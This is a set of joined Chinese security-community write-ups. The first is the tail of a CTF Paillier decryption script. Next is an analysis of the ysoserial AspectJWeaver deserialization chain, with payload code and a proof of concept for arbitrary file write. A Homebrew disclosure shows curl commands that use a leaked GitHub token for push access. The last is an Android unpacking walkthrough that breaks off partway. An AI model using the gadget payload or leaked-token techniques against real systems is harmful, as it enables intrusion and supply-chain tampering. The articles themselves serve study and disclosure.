46048468302114626644130848467571134497767565522952060391503399095603790641234782395248309012843987299582268241927917521533701267462933390104019390924464437578002436804421167317073967104374674503105176814728528948427343735476621647120199885109276701712397024328154639390619983337164045167105500823328686232464764826915967847749327330082112747925074426990994720800715530110799953759001555151635338
n=600460780511284177330868641157000673695987686835854463954083292521995333969592493476167947697902815343802416956402564418461185330396778684350062798129905252415602638833115870421557152032066083785426187725812203898078332950694188015058597191293477786950516701485942990210094142645055791703877774275185986345295000660050751386157287259591424166939605047666820243010590903879946466905300504736860699776852427737320969397264311554513703069397528242470117293210115444740392661976555321130158074719793201646023527509673418511212992699499375312949376181154323600672900826407492059853483127089996044006946816995754323677989191449755823864894528385752425068828417493523554498899275159519125970770207694118193871998744238080679525515188046496167114634756062798259204179177568693208245438370548920354155955666309304316902455515568036303240220660822233185141222611614126905823148940923734420089361779356091645199137373856740769558091660626015486509102159187276152182990904489073030532569619103027852669097961046432285733898343974557625880905989744584411457208854260886074598950522064944003991979500370206557083222942598394096262028456760703040633872127687264365851652445324975052709564645931133722958347280735555568469689572544794624984967491279
'''
p=12040018098190209035343148584440204444027280502951398688022511007384797759543092623752033768876233081261249066681970136207504867285658418308047405879381139
q=13330911285322041682394916367787914488059745044202946512248393199577232273297817169660182673419431610710216030458758919521042880431157752957527934595931147
lam=(p-1)*(q-1)//2
n=p*q
pi=invert(lam,n)
g=7920399627581784560608149942910818490216191427930533960593394675850021704679797790627672141459219522856930356532684528060115600487043826391267174143260378623923371927066375111438678530230842521800629488159046765572087426270100182088998248200609197418046538693988349200947002645076435937540452507193564945923925340202807331612781673963093940545364867223990933803290688709597568633060921603794405844221034708913877792222558167269388751558633345912443237108638337991345821247636925148699047702095027489536775360965304641892716958029744054821381313766616755902131744721067109154300568332363667623275058256140501841491951
k=(pow(g,lam,n*n)-1)//n
def dec(h):
c=pow(h,lam,n*n)
a=(((c-1)*invert(k,n*n)%(n*n))//n)
return a
with open('C:\\Users\\lenovo\\Desktop\\a.txt','r') as f:
data=f.read()
data=data.split(', ')
data[0]=data[0][1:]
data[-1]=data[-1][:-2]
L=[]
for i in data:
term=int(i)
term=dec(term)
L.append(term)
with open('C:\\Users\\lenovo\\Desktop\\b.txt','r')as f:
data1=f.read()
data1=data1.split(', ')
L1=[]
B=[]
for j in data1:
t=eval(j)[0]
B.append(eval(j)[1])
t=dec(t)
L1.append(t)
L2=[]
for i in range(len(L)):
L2.append((L[i]*L1[i])%n)
D=[]
for i in range(len(L)):
tmp=pow(B[i],lam,n*n)*invert(pow(g,lam*L2[i],n*n),n*n)
D.append(tmp)
M=[]
for i in range(len(D)):
m=(((D[i]-1)%(n*n)//n)*pi)%n
M.append(m)
m1=[123,456,789,123,456,789]
for i in range(len(M)):
print(long_to_bytes(M[i]-m1[i]))
## 结语
完结撒花~
第一篇投稿，感谢支持~~~ | 社区文章 |
# AspectJWeaver链分析
## Gadget chain
首先看yso的gadget chain
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
能看出来最终达成的效果是任意文件写
## Dependencies
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
cc3.2.2及以下，aspectjweaver及以下依赖，当然这是一个组合，可以分为两部分自然也可以拆开再找到其他可利用的进行组合
## ysoPayload
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java>
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
## 分析数据流
在java.util.HashSet#readObject函数末尾，调用了java.util.HashMap#put
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
为什么map是HashMap对象？可以看payload中HashSet的初始化
HashSet map = new HashSet(1);
对应的HashSet构造函数
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}
HashMap.put参数是e和一个空对象
PRESENT空对象：
private static final Object PRESENT = new Object();
而e是调用java.io.ObjectInputStream#readObject从序列化数据中读取的TiedMapEntry对象，也就是payload中创建的
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
**为什么java.io.ObjectInputStream#readObject从序列化数据中读出的是TiedMapEntry对象？**
首先
* HashSet中的所有对象都保存在内部HashMap的key中，以保证唯一性
* HashMap的每个key->value键值对保存在一个命名为table的Node类数组中，每次调用HashMap#get方法时，实际时从这个数组中获取值
而在 HashSet 的 `writeObject()` 方法中，会依次调用map也就是HashMap中每个元素的 `writeObject()`
方法来实现序列化
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
相应的，在反序列化过程中，会依次调用每个元素的 `readObject()` 方法，然后将其作为 `key` (value 为固定值) 依次放入
HashMap 中
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
所以这里的e就是HashMap中的元素，然后再看payload中的反射部分
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
首先获取了HashSet的map属性值，也就是HashMap对象
然后再进一步获取HashMap对象中的table属性值，然后从table中获取索引0或1的对象，该对象为HashMap$Node
最后从HashMap$Node类中获取key这个field，并修改为tiedMapEntry(原本是通过java.util.HashSet#add添加的"foo"对象)
结合上面的readObject分析，可以知道此时e为构造好的tiedMapEntry对象
再看java.util.HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
调用了java.util.HashMap#hash，此时key为上文的TiedMapEntry对象
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在继续调用了key对象的hashCode方法，即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
往下调用了org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
public Object getValue() {
return map.get(key);
}
在getValue调用了map属性的get函数参数为key属性，map和key属性在构造函数时就已经初始化完成
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
payload中构造TiedMapEntry的初始化
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
所以map此时为lazyMap对象，调用的org.apache.commons.collections.map.LazyMap#get，key为filename也就是输入的文件名
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
LazyMap的map属性是什么，可以先回到payload看LazyMap的构造
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
LazyMap的初始化函数
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
调用构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
这也是为什么payload中为什么content要创建Transformer对象
Transformer ct = new ConstantTransformer(content);
查看父类的构造函数
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}
不为空就赋值map，而factory是由org.apache.commons.collections.functors.FactoryTransformer#getInstance获取到的，存储的是文件内容
所以此时的map为payload中的SimpleCache$StorableCachingMap且此时key不包含filename就会调用org.apache.commons.collections.functors.ConstantTransformer#transform获取了文件内容的字节流，在步入到
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put中，这里是这条链的关键
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])((byte[])value);
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}
Object result = super.put(key, path);
this.storeMap();
return result;
} catch (IOException var6) {
this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), var6);
Dump.dumpWithException(var6);
return null;
}
}
此时key为文件名，value为文件内容的字节流
首先判断了字节数组是否和SimpleCache.SAME_BYTES相等，这是一个常量
private static final byte[] SAME_BYTES = "IDEM".getBytes();
然后进入到org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
此时key为文件名，bytes为文件内容字节数组，folder是初始化时赋予的
private StoreableCachingMap(String folder, int storingTimer) {
this.folder = folder;
this.initTrace();
this.storingTimer = storingTimer;
}
再看payload
Object simpleCache = ctor.newInstance(".", 12);
yso默认创建在当前文件夹(当然也可以自己进行目录穿越)，然后直接将字节流写入文件中，达到了任意文件写的效果
## 非预期避免
从上面的分析可以知道payload大量的反射是为了将TiedMapEntry这个对象添加到HashSet的HashMap的元素中，那么为什么不直接通过HashSet.add()将TiedMapEntry添加到其中呢？
为了分析这个问题，首先在本地构造payload
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
Object map = declaredConstructor.newInstance(".", 111);
Transformer ct = new ConstantTransformer("test".getBytes(StandardCharsets.UTF_8));
Map lazyMap = LazyMap.decorate((Map) map,ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1.txt");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output"));
oos.writeObject(hashSet);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("output"));
ois.readObject();
}
本地使用这段payload进行debug时能够发现，writeToPath被触发了两次
第一次的调用栈
writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
add:220, HashSet (java.util)
main:25, AspectJWeaver
也就是在构造payload的时候就在本地触发了文件写的操作，HashSet.add直接调用了HashMap的put方法
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
调用了HashMap的put方法此时的e是我们add的tiedMapEntry对象，和上文分析中readObject中获取的tiedMapEntry对象一样是构造好的，所以调用了java.util.HashMap#put后就完全一样走到文件写入的sink了
所以通过反射去将HashSet中HashMap的元素更改为tiedMapEntry对象可以避免非预期的文件写入
## 参考
* <https://www.cnblogs.com/bitterz/p/15305894.html>
* <https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java> | 社区文章 |
# 原文链接
<https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab>
# 引言
这个问题在[Homebrew博客](https://brew.sh/2018/08/05/security-incident-disclosure/
"Homebrew博客")被公开披露
自打最近的NPM，RubyGems和Gentoo事件发生以来，我对包管理工具可能被用于分发恶意软件的攻击链，越来越感到兴趣并担心。特别是如何将这些项目的维护者和基础设施作为攻击媒介进行攻击。
6月31日，我带着试试看我是否可以获得Homebrew的GitHub仓库访问权限的目的进行测试。大约30分钟后，我向[Homebrew /
homebrew-core](https://api.github.com/repos/Homebrew/homebrew-core/git/blobs/30d74d258442c7c65512eafab474568dd706c430 "Homebrew / homebrew-core")项目进行了第一次提交。
# 获取泄漏的信息
我最初的策略是基于盗取登入凭证的；查找Homebrew GitHub组织的成员是否有泄漏任何登入凭证。
[Michael Henriksen](https://github.com/michenriksen "Michael
Henriksen")开发的一个名为[gitrob](https://github.com/michenriksen/gitrob
"gitrob")的OSSINT工具让这个搜索过程变得非常简单。我运行它以获得Homebrew组织的信息，但最终没有提取出任何有趣的东西。
接下来，我在<https://hackerone.com/Homebrew>
上查看了之前披露的问题。从那里，我发现Homebrew在<https://jenkins.brew.sh> 上对外运行了一个Jenkins实例。
经过一番挖掘，我发现了一些有趣的东西；在“Homebrew Bottles”项目中构建的版本正在向BrewTestBot / homebrew-core
repo进行认证推送：
这让我想到，“登入凭据存储在哪里？”。我注意到左侧的“环境变量”链接，这暴露了一个GitHub的API令牌：
我在本地测试令牌具生效范围的结果：
$ curl https://api.github.com/user/repos -u $GITHUB_API_TOKEN:x-oauth-basic | jq '.[] | {repo: .full_name, permissions: .permissions}'
{
"repo": "BrewTestBot/homebrew-core",
"permissions": {
"admin": true,
"push": true,
"pull": true
}
}
{
"repo": "Homebrew/brew",
"permissions": {
"admin": false,
"push": true,
"pull": true
}
}
{
"repo": "Homebrew/formulae.brew.sh",
"permissions": {
"admin": false,
"push": true,
"pull": true
}
}
{
"repo": "Homebrew/homebrew-core",
"permissions": {
"admin": false,
"push": true,
"pull": true
}
}
这表明我已经拥有了向这些核心Homebrew仓库的提交内容的访问权限：
• Homebrew/brew
• Homebrew/homebrew-core
Homebrew/formulae.brew.sh
为了确定，我通过在Homebrew / homebrew-core repo中创建了一个blob来测试：
$ curl https://api.github.com/repos/Homebrew/homebrew-core/git/blobs -u $GITHUB_API_TOKEN:x-oauth-basic -d '{"content":"test"}' -H "Content-Type: application/json"
{
"sha": "30d74d258442c7c65512eafab474568dd706c430",
"url": "https://api.github.com/repos/Homebrew/homebrew-core/git/blobs/30d74d258442c7c65512eafab474568dd706c430"
}
然后向Homebrew维护者报告了这个问题。
# 这意味着什么
让我先提出以下的观点：
• 成千上万的人使用Homebrew，包括硅谷一些最大公司的员工。
•
最近30天内最常安装的软件包是openssl，安装量超过50w次：https：//formulae.brew.sh/analytics/install/30d/
• 我拥有向Homebrew / homebrew-core
repo直接提交的权限。同时，这个repo没有受保护的master分支，这意味着我可以对refs / heads /
master进行快速更改。任何新安装Homebrew或运行brew update的人都会有我的恶意公式（formula）。
如果我是一个带有恶意的角色，我本可以对openssl公式（formula）做一个微小的，可能难以被察觉的修改，来向任何安装它的机器上放置一个后门。
如果我都能够在30分钟内获得提交的权限，那么一个拥有专有资源的国家和一支由17名志愿者组成的团队对抗会发生什么？可以访问多少个私人公司网络？这些有多少可被用于升级到大规模的数据泄露？还有哪些其他包管理系统有类似的弱点？
这些都是我越发关注的问题，包管理工具和登入凭证的泄漏[一次](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes
"一次")[又一次](https://thehackernews.com/2018/07/github-hacking-gentoo-linux.html
"又一次")的被证明是互联网安全的薄弱环节，供应链攻击是一种真正的[持续性威胁](https://thehackernews.com/2018/04/ccleaner-malware-attack.html
"持续性威胁")。这不是只有Homebrew才有的弱点，而是行业中的系统性问题，也是需要我们投入更多安全性研究的问题。
# 做出的努力
Homebrew已在地址为<https://brew.sh/2018/08/05/security-incident-disclosure/>
的博客上公开披露了该问题。
Homebrew团队与GitHub合作进行审计并确保特定的访问令牌没有被恶意的利用，并且没有对核心Homebrew仓库进行任何意外提交。
我要特别感谢Mike McQuaid在他的陪产假期间快速而专业地处理我的报告。
很明显，为了提高Homebrew项目的安全性，还有很多的工作需要去做。
如果您在工作中使用到了Homebrew，请考虑向项目进行[捐赠](https://www.patreon.com/homebrew
"捐赠")。作为一个行业，我们需要向我们都使用和依赖的核心OSS软件进行良性投资 | 社区文章 |
[TOC]
# 概述
本片文章描述一次完整的脱壳历程，从java层到Native层
# 流程概述
## Java层
1. java层找到库函数的入口位置
2. 过掉java层的反调试(解决方法在Native层：动态在isDebuggerConnected下断点)
## Native层
1. 绕过Anti IDA
2. 双层解密JNI_OnLoad
3. 动态调试JNI_OnLoad，得到注册的本地方法的具体位置
4. 分析load方法找到Dex动态解密的地方并dump
# 详细过程
这次脱壳用的测试机是Dalvik虚拟机4.4版本，所以底层用的libdvm.so库文件。
## 壳特征
有过壳经验的分析人员可以从安装包的特征文件和lib下的libshellxxx.so中看出是TX加固过的壳
## java层
### 实锤加壳
在manifest中的入口类LoadingActivity是找不到的
<application android:theme="@style/AppTheme_Main" android:label="@string/app_name" android:icon="@mipmap/icon_launcher" android:name="com.tencent.StubShell.TxAppEntry" android:allowBackup="false" android:vmSafeMode="true" android:largeHeap="true" android:supportsRtl="true" android:extractNativeLibs="true" android:networkSecurityConfig="@xml/network_security_config" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
...........
<activity android:name="com.warmcar.nf.x.ui.activity.main.LoadingActivity" android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
### 初探attachBaseContext
既然入口类被隐藏了，我们根据调用关系找到启动入口类的地方，即Application这个类，我们主要需要关注的是attachBaseContext方法，这个在onCreate方法之前执行的
### 弃用jadx
这个方法首先调用e(context)进行了调试检查，接着在b(this)方法中进行了一些库地址的初始化操作
接着在
d(context)方法中加载不存在的库nfix、ufix，并且调用了本地方法fixNativeResource、fixUnityResource，从名称上看应该是修复操作
接下来主要是tx的SDK崩溃信息收集模块的功能，这块可以省略，主要看最后一个a((Context) this)方法，find
Usage跳转过去发现调用了e()方法和load(f)方法
protected void attachBaseContext(Context context) {
super.attachBaseContext(context);
e(context);
SystemClassLoaderInjector.fixAndroid(context, this);
if (b(this)) {
d(context);
this.k = new Handler(getMainLooper());
String str = "3.0.0.0";
String str2 = "900015015";
UserStrategy userStrategy = new UserStrategy(this);
userStrategy.setAppVersion(str);
CrashReport.setSdkExtraData(this, str2, str);
CrashReport.initCrashReport(this, str2, false, userStrategy);
new Thread(new d(this)).start();
a((Context) this);
}
}
private void d(Context context) {
AssetManager assets = context.getAssets();
String str = context.getApplicationInfo().sourceDir;
try {
System.loadLibrary("nfix");
fixNativeResource(assets, str);
} catch (Throwable th) {
}
try {
System.loadLibrary("ufix");
fixUnityResource(assets, str);
} catch (Throwable th2) {
}
}
public void a(Context context) {
e();
load(f);
}
而在jadx这里e方法并未生成相应伪代码，反汇编指令倒是没有错，为了方便分析，开启我们的jeb继续分析
### 接盘侠：jeb探索首次加载so库
接续分析e();方法，根据反编译后的伪代码，可以看到这里第一次进行了so库的加载，加载shell
还有一个紧跟着的本地的load方法，这个需要我们在Native层进行分析，参数是shella-3.0.0.0.so文件路径
### 寥寥几句onCreate
分析完attachBaseContext，接着分析onCreate
可以看到出了一个反调试和崩溃信息收集，我们的关注重点就在本地方法runCreate
public void onCreate() {
TxAppEntry.isDebugger(((Context)this));
TxAppEntry.runCreate(((Context)this));
this.sdkcrash(TxAppEntry.context);
}
private static native void runCreate(Context arg0) {
}
### 再度回顾加壳包目录
加固主要行为都在这里，可以从目录名称看出，多个反调试类
刨去没什么太紧要的类，只有一个TxReceiver类值得专注
通过交叉引用，并未发现有地方注册广播来执行这里，排除静态注册，剩下只有动态注册可能，都需要Native层的分析。而且他的回调方法onReceive的内部实现是通过本地方法reciver实现的，是需要第二个关注的点
public class TxReceiver extends BroadcastReceiver {
public static String TX_RECIEVER;
static {
TxReceiver.TX_RECIEVER = "com.tencent.StubShell.TxReceiver";
}
public TxReceiver() {
super();
}
public void onReceive(Context arg1, Intent arg2) {
TxAppEntry.receiver(arg2);
}
}
######################################################TxAppEntry.java
public static void receiver(Intent arg0) {
TxAppEntry.reciver(arg0);
}
private static native void reciver(Intent arg0) {
}
### 短暂小结，再度启程
壳的分析基本到这里暂停下来
**主要分析结果** ：
找到了唯一一个要加载的库shella3.0.0.0.so，根据分析流程继续分析native层的load、runCreate方法
**留下的疑惑** ：
修复ufix、nfix是否得到调用
广播行为
## Native层
分析shella3.0.0.so，首次加载的so库
**分析目标**
1. 本地方法runCreate
2. java层修复ufix、nfix的fixNativeResource、fixUnityResource方法是否得到调用，做了哪些行为
3. 实锤广播注册，探索广播行为
### 出师未捷，对抗IDA
IDA6.8打开libshella-3.0.0.0.so弹出未识别的节格式，反编译失败，什么东西都没有！这不禁引发了我对人生的思考，是对抗反编译吗、还是对抗IDA呢？这是我需要探索的问题
使用010edit打开so文件，可以看到解析文件是没有问题的，但是text、init等个别节头表内的数据都被抹空了，个别节头没有，如.dynstr、.dynsym
#### 思考
【1】如果IDA根据节数据进行反汇编，这里数据都为空，确实会反编译失败，那么如何恢复这些节表呢？但是在看到参考【4】中文章的时候，根据之前使用经验得出一些想法，
**IDA在识别节头失败后会去通过程序头表来进行分析**
【2】上面这种报错： **检测出不识别的section格式** 导致终止反编译的行为很明显是 **对抗IDA**
这种反编译工具的，这也回答了上面需要探索的问题。
为了解决其对抗IDA行为，我们这里直接将节内数据置空或者将包含字符的节数据置0，让他识别无意义或非法的节声明，接着使用程序头来进行分析即可。最终定位到.dynsym表的s_size字段，将这个字段置0即可
### Anti不能停：JNI_OnLoad加密
过掉AntiIDA后，再次加载so文件，可以看到导出JNI_OnLoad函数已经被加密了（虚拟内存地址=0x274C），那么合理向上推导，只能在.init节或者.init_array节中
接下来的目标就是找到init、init_array节所在的地址
#### 解决思路
【1】修复section节头
【2】动态调试so，通过在linker.so上下断点
### section修复，觅得init_array
修复之前多个节都是置空的，还有个别节错误数据来Anti IDA
通过[开源代码](https://github.com/WangYinuo/FixElfSection)对so文件进行修复后，在linux平台用readelf可以看到已经将很多节头的偏移恢复了，
在ida6.8打开时，首先出现下面两个弹窗中的出现的错误，全部确认
我们根据觅得的init_array地址，抱着兴奋的情绪进行G跳转到0x3e84，这里切记别乱改数据类型，这里应该是 **DCD**
代表双字，代表的地址是0x944。
>
> 这里我犯了个错，由于不太熟吧，乱改数据类型，改成DCB字节型，结果转成代码后就懵了，在心灰意冷下我打开了IDA7.2，看到下面那个图，一度让我准备和IDA
> 6.8 say 拜拜。但是由于7.2 F5大法不管用（原因暂时未知），6.8还是很棒的，还是和它做好基友吧
这里要是用IDA7.2版本，他这里会识别出init节并标记（感觉棒棒哒）
### 通读伪代码，分析init_array
这里主要分析出：
* 解密算法是从0x1000开始，对0x2AB4字节数据进行解密(JNI_OnLoad地址为0x274c必然被包含在内)
* 调用JNI_OnLoad
分析出解密算法，可以自己写脚本进行解密，这里我们选择另外一种，往下看
### 另辟蹊径，解密JNI_OnLoad
**思路**
：so库一经加载到内存后，要处于解密后的状态才可以正常被程序调用，所以从内存中dump出shella-3.0.0.0.so文件，即完成对JNI_Onload解密的操作
> 无意之举吧，：）
>
>
> 当时准备通过调试获取init_array内存地址的时候没有成功，当时想着dump下so文件应该包含有解密后的节头表，后来看到一篇文章结合ELF装载知识才知道节头表并不会被装载进内存更谈不上dump下来，但是用IDA打开后的JNI_OnLoad确是解密后的
解密脚本，具体内存地址和加载进内存的段长度，需要自己调试的时候Ctrl+S自己看和计算
static main()
{
auto i,fp;
fp = fopen("d:\\dump","wb");
auto start = 0x75FFD000;
auto size = 32768;
for(i=start;i<start+size;i++)
{
fputc(Byte(i),fp);
}
}
### 真实调用
在动态调试的过程中，调用JNI_OnLoad方法的地方不是init_array节内，而是libdvm.so文件中的dvmLoadNativeCode方法。
### 分析不能停，探索JNI_OnLoad
#### 初遇小坑
图中圈起来的函数，最终跳到类似0x3FB8地址出的地方，为什么这个地方的函数地址是找不到的呢？
#### 蓦然回首，原来是重定位
由于这里调用的是第三方库函数，这里就用到了PLT表，每次调用第三方库函数都会跳到PLT条目中。这个表有关第三方函数的每一个条目都指向了GOT表条目的值，第一次访问第三方库函数的时候，实际上去执行了解析函数，将第三方库函数的内存地址存储到GOT表内并且调用，后面再次执库函数的时候，在PLT条目中就会直接执行到第三方库函数的内存地址处，而不用再次解析。
所以上面之所以找不到库函数地址，是因为重定位后被改写后的内存地址，在静态文件中是不能识别的。
绕过也是很简单的，因为我们解密的数据长度有限，我们将解密部分替换到原来的shella-3.0.0.0.so文件中即可，再次打开如下图所示，都是一些偏移可以被IDA识别出来
#### 再现加密
第一次解密中的行为，这里i本身就是libshella-3.0.0.0.so文件的内存基址，这里将地址存进dword_4008变量中
这里其实就是读取shella-3.0.0.0.so文件的名称到变量中
接着将得到的libname和一个偏移值0x6D88（刚好指向libshella-3.0.0.0.so文件尾部附加数据开始的位置）作为参数传进函数内，执行以下操作
## \- 总共三次从尾部读取所有数据到内存，并进行解密运算
### 真JNI_OnLoad
这里调用了dlsym来在so文件中找到JNI_Onload符号地址并进行调用。
分析到这里其实除了之前的解密操作，我们并没有看到任何动态注册本地方法的地方，那么结合这里出现符号调用可以大胆猜想，这里可能会是二次解密后得到的JNI_OnLoad方法的源码位置，上面分析的应该只是一层加密的壳JNI_OnLoad方法，下面根据猜想进行小心求证
动态调试跟进解密后的JNI_OnLoad方法
这里将壳入口类名作为参数传进函数，下面判断如果返回结果为0则打印出注册本地方法失败这样的字符串
根据传入壳的入口类名作为参数进行类定位和注册本地方法
### 惊现：0x35C
发现偏移0x35C，这正是registerNatives相对于JNINativeInterface的偏移。他的第三个参数是`JNINativeMethod`结构体数组，第四个参数就是结构体数组的长度，注册方法数量。只要通过解析JNINativeMethod结构体即可得到注册本地方法的真实地址
typedef struct {
const char* name;
const char* signature;
void* fnPtr;
} JNINativeMethod;
#### 解析本地方法
注册方法数量为5。
本地方法对应内存地址
load 0x75700B1D
runCreate 0x756fc469
changeEnv 0x756FB37D
receiver 0x756f7621
txEntries 0x756FB0F9
0B 9E 70 75 10 9E 70 75 1D 0B 70 75 2D 9E 70 75
10 9E 70 75 69 C4 6F 75 37 9E 70 75 10 9E 70 75
7D B3 6F 75 41 9E 70 75 49 9E 70 75 21 76 6F 75
65 9E 70 75 6F 9E 70 75 F9 B0 6F 75
### 骤现异常
要分析上面本地方法，就需要配合动态调试综合来进行。但是当我们在load方法上下断点后，程序并不能执行到这里，从日志中反馈一个`signal
11`的错误，并且程序也不能正常跑起来，弹出应用已经停止的窗口。
思考：我这里为了调试，第一：只是将AndroidManifest.xml文件添加了一个可调式属性。第二注释掉了几个public.xml中的几个无关属性防止反编译失败。第三就是签上了自定义签名。怎么会出现signal
11
